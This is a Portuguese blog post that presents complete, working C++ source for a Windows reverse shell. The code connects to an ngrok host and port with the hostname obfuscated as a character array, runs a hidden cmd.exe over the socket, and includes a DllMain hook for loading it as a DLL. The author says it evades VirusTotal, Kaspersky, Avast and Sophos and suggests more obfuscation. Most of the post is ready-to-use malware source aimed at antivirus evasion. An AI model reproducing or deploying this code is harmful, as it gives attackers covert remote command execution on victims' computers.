Neste post, vamos explorar a criação de um Reverse Shell simples, com o objetivo de contornar alguns AVs/EDRs. O objetivo deste post é focado em entender o funcionamento básico de uma Reverse Shell. Vamos utilizar a linguagem C++ com a API Winsock para implementar a comunicação de rede e interagir com o processo do cmd.exe no Windows.
Nosso código utiliza multithreading, pipes, e sockets para interagir diretamente com o terminal remoto, permitindo o envio e recebimento de comandos. Ao longo do desenvolvimento, vamos detalhar cada parte do código e como ela se relaciona com a construção de um Reverse Shell funcional.
Parte Principal: Configuração da Conexão de Rede
A parte principal do nosso código é responsável por estabelecer a comunicação entre o cliente máquina atacante e o servidor máquina alvo. Utilizamos o Winsock para criar e conectar um socket que será usado para enviar e receber dados.
WSADATA wsaData;
SOCKET sock;
struct addrinfo hints = { 0 }, * result;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
fprintf(stderr, "Falha na inicializacao do Winsock\n");
return 1;
}
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
char NotNgrok[] = { '0', '.', 't', 'c', 'p', '.', 's', 'a', '.', 'n', 'g', 'r', 'o', 'k', '.', 'i', 'o', 0 };
char NotPort[] = { '1', '3', '3', '7', 0 };
if (getaddrinfo(NotNgrok, NotPort, &hints, &result) != 0) {
fprintf(stderr, "Falha no endereço NGROK\n");
WSACleanup();
return 1;
}
sock = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
if (sock == INVALID_SOCKET) {
fprintf(stderr, "Falha ao criar socket: %d\n", WSAGetLastError());
freeaddrinfo(result);
WSACleanup();
return 1;
}
Aqui, configuramos o Winsock e criamos o socket que será usado para a comunicação. O endereço IP e a porta do servidor são passados como strings. Utilizamos um endereço NGROK para redirecionar o tráfego para o cliente.
Parte de Comunicação: Interação com o cmd.exe
Depois de configurar o socket, precisamos redirecionar a entrada e saída do processo cmd.exe para o nosso socket, permitindo que os comandos recebidos sejam executados e suas saídas retornadas ao atacante.
Multithreading, Pipes e Sockets
Para que a nossa Reverse Shell funcione corretamente, precisamos lidar com a comunicação entre dois processos distintos: o cmd.exe (que executa os comandos) e o cliente (a máquina que enviará e receberá os comandos remotamente). Para isso, utilizamos três componentes fundamentais: multithreading, pipes, e sockets.
Multithreading
No nosso caso, como temos duas fontes de dados diferentes (o socket e o processo cmd.exe), precisamos de duas threads separadas para tratar o envio e o recebimento de informações. A multithreading permite que nosso programa execute múltiplas tarefas ao mesmo tempo, sem que uma interfira na outra. Assim, enquanto uma thread recebe dados do socket e os envia para o cmd.exe, a outra pode ler a saída do cmd.exe e devolver ao atacante.
Na implementação, criei duas threads principais:
- 1 Thread 1: responsável por ler a saída do cmd.exe (por meio de pipes) e enviar essa saída de volta ao cliente pela rede.
- 2 Thread 2: responsável por receber os comandos enviados pelo atacante através do socket e passá-los para o cmd.exe, simulando uma sessão interativa de terminal.
Ao dividir essas tarefas em threads separadas, evitamos que o programa fique travado esperando por uma ação, garantindo que a comunicação seja rápida e fluida entre os dois lados.
Pipes
Os pipes são um mecanismo usado para redirecionar a entrada e a saída de processos no Windows. Eles atuam como canais de comunicação entre o nosso programa e o processo cmd.exe. Para o cmd.exe, a entrada (stdin) e a saída (stdout) são redirecionadas para esses pipes, de forma que possamos "escrever" comandos diretamente no stdin e "ler" os resultados a partir do stdout.
Criei dois pipes principais:
- Pipe de entrada: recebe os dados do socket (os comandos enviados pelo atacante) e os envia ao cmd.exe.
- Pipe de saída: captura a saída do cmd.exe e a envia de volta ao cliente, de forma que o atacante possa ver o resultado dos comandos.
Isso nos permite interagir diretamente com o processo, como se estivéssemos executando os comandos localmente.
Sockets
Por último, utilizamos sockets para estabelecer a comunicação de rede entre a máquina atacante e a máquina alvo. Um socket é basicamente um ponto final em uma conexão de rede. No nosso caso, configuramos um socket TCP, que será responsável por enviar e receber dados da máquina remota.
Através do Winsock, que é a API de sockets do Windows, criamos uma conexão entre o cliente (máquina atacante) e o servidor (máquina alvo). Esse socket atua como um canal de comunicação bidirecional, o atacante envia comandos através dele, e nossa Reverse Shell recebe e executa esses comandos, enviando as saídas de volta pelo mesmo canal.
Criação dos Pipes
Criamos pipes para redirecionar a saída do cmd.exe (stdout) e a entrada (stdin), utilizando a estrutura SECURITY_ATTRIBUTES para permitir a herança de handles entre processos.
HANDLE hStdoutRead, hStdoutWrite;
HANDLE hStdinRead, hStdinWrite;
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
if (!CreatePipe(&hStdoutRead, &hStdoutWrite, &sa, 0)) {
fprintf(stderr, "Falha ao criar pipe stdout\n");
closesocket(sock);
WSACleanup();
return 1;
}
if (!CreatePipe(&hStdinRead, &hStdinWrite, &sa, 0)) {
fprintf(stderr, "Falha ao criar pipe stdin\n");
closesocket(sock);
WSACleanup();
return 1;
}
Esses pipes permitem que os dados trafeguem entre o nosso programa e o processo do cmd.exe.
Criação do Processo cmd.exe
Em seguida, criamos o processo do cmd.exe, redirecionando sua entrada e saída para os pipes que acabamos de criar.
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = hStdinRead;
si.hStdOutput = hStdoutWrite;
si.hStdError = hStdoutWrite;
LPWSTR cmd = charToLPWSTR("cmd.exe");
if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
fprintf(stderr, "Falha ao criar o processo cmd.exe: %d\n", GetLastError());
closesocket(sock);
WSACleanup();
free(cmd);
return 1;
}
free(cmd);
O processo cmd.exe é iniciado invisível, e suas entradas e saídas estão agora conectadas aos nossos pipes.
Threads para Comunicação Bidirecional
ThreadParams readParams = { hStdoutRead, sock };
ThreadParams writeParams = { hStdinWrite, sock };
_beginthreadex(NULL, 0, &ReadFromCmd, &readParams, 0, NULL);
_beginthreadex(NULL, 0, &WriteToCmd, &writeParams, 0, NULL);
WaitForSingleObject(pi.hProcess, INFINITE);
E aqui, as threads são criadas para gerenciar o envio e recebimento de dados, e o programa espera até que o processo cmd.exe seja finalizado.
Código completo
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <process.h>
#include <string>
#pragma comment(lib, "ws2_32.lib")
LPWSTR charToLPWSTR(const std::string& str) {
int len = MultiByteToWideChar(CP_ACP, 0, str.c_str(), -1, NULL, 0);
LPWSTR wString = (LPWSTR)malloc(len * sizeof(wchar_t));
if (wString != NULL) {
MultiByteToWideChar(CP_ACP, 0, str.c_str(), -1, wString, len);
}
return wString;
}
struct ThreadParams {
HANDLE hPipe;
SOCKET sock;
};
unsigned __stdcall ReadFromCmd(void* params) {
ThreadParams* tp = static_cast<ThreadParams*>(params);
HANDLE hPipe = tp->hPipe;
SOCKET sock = tp->sock;
char buffer[1024];
DWORD bytesRead;
while (true) {
if (ReadFile(hPipe, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) {
buffer[bytesRead] = '\0';
send(sock, buffer, bytesRead, 0);
}
else {
break;
}
}
return 0;
}
unsigned __stdcall WriteToCmd(void* params) {
ThreadParams* tp = static_cast<ThreadParams*>(params);
HANDLE hPipe = tp->hPipe;
SOCKET sock = tp->sock;
char buffer[1024];
int result_recv;
DWORD bytesWritten;
while (true) {
result_recv = recv(sock, buffer, sizeof(buffer) - 1, 0);
if (result_recv > 0) {
WriteFile(hPipe, buffer, result_recv, &bytesWritten, NULL);
}
else {
break;
}
}
return 0;
}
int main() {
WSADATA wsaData;
SOCKET sock;
struct addrinfo hints = { 0 }, * result;
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
HANDLE hStdoutRead, hStdoutWrite;
HANDLE hStdinRead, hStdinWrite;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
fprintf(stderr, "Falha na inicializacao do Winsock\n");
return 1;
}
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
char NotNgrok[] = { '0', '.', 't', 'c', 'p', '.', 's', 'a', '.', 'n', 'g', 'r', 'o', 'k', '.', 'i', 'o', 0 };
char NotPort[] = { '1', '3', '3', '7', 0 };
if (getaddrinfo(NotNgrok, NotPort, &hints, &result) != 0) {
fprintf(stderr, "Falha no endereço NGROK\n");
WSACleanup();
return 1;
}
sock = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
if (sock == INVALID_SOCKET) {
fprintf(stderr, "Falha ao criar socket: %d\n", WSAGetLastError());
freeaddrinfo(result);
WSACleanup();
return 1;
}
if (connect(sock, result->ai_addr, (int)result->ai_addrlen) == SOCKET_ERROR) {
fprintf(stderr, "Falha ao conectar ao servidor: %d\n", WSAGetLastError());
closesocket(sock);
freeaddrinfo(result);
WSACleanup();
return 1;
}
freeaddrinfo(result);
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
if (!CreatePipe(&hStdoutRead, &hStdoutWrite, &sa, 0)) {
fprintf(stderr, "Falha ao criar pipe stdout\n");
closesocket(sock);
WSACleanup();
return 1;
}
if (!CreatePipe(&hStdinRead, &hStdinWrite, &sa, 0)) {
fprintf(stderr, "Falha ao criar pipe stdin\n");
closesocket(sock);
WSACleanup();
return 1;
}
si.hStdInput = hStdinRead;
si.hStdOutput = hStdoutWrite;
si.hStdError = hStdoutWrite;
LPWSTR cmd = charToLPWSTR("cmd.exe");
if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
fprintf(stderr, "Falha ao criar o processo cmd.exe: %d\n", GetLastError());
closesocket(sock);
WSACleanup();
free(cmd);
return 1;
}
free(cmd);
CloseHandle(hStdoutWrite);
CloseHandle(hStdinRead);
ThreadParams readParams = { hStdoutRead, sock };
ThreadParams writeParams = { hStdinWrite, sock };
_beginthreadex(NULL, 0, &ReadFromCmd, &readParams, 0, NULL);
_beginthreadex(NULL, 0, &WriteToCmd, &writeParams, 0, NULL);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hStdoutRead);
CloseHandle(hStdinWrite);
closesocket(sock);
WSACleanup();
return 0;
}
#ifdef _WINDLL
__declspec(dllexport) BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, NULL, 0, NULL);
}
return TRUE;
}
#endif
Conclusão
Concluímos a implementação de um Reverse Shell funcional utilizando C++ e a API Winsock. Este código, apesar de simples, demonstra os conceitos fundamentais de redirecionamento de processos, manipulação de sockets e comunicação remota.
Ao longo deste post, exploramos como redirecionar a entrada e saída de um processo do cmd.exe, além de como implementar a comunicação bidirecional entre o cliente e o servidor por meio de sockets. Este é um exemplo claro de como os sistemas operacionais e redes podem ser manipulados para criar soluções poderosas de controle remoto.
Contra VirusTotal
Bom, contra o VirusTotal obtivemos um total de apenas 2 detecções, o que é consideravelmente pouco, se quisermos, um resultado melhor, podemos combinar criptografia de comando com chave aleatória e funções de ofuscação por exemplo no CreateProcess.
Contra AV/EDR
Bom os antivírus que utilizei de teste foram ( kaspersky, avast, sophos ), conseguimos contornar os três sem nenhum aviso.
Por fim, conseguimos ver que não é muito difícil contornar alguns antivírus utilizando um código simples de reverse shell. Lembrando que o código tem muito a melhorar e que estamos apenas levando em consideração um acesso inicial. Em um computador protegido, sem configurações ou regras, as coisas são diferentes em ambientes realmente configurados e controlados.
Espero que tenham gostado deste post simples. Obrigado se chegou até aqui, e tchau tchau.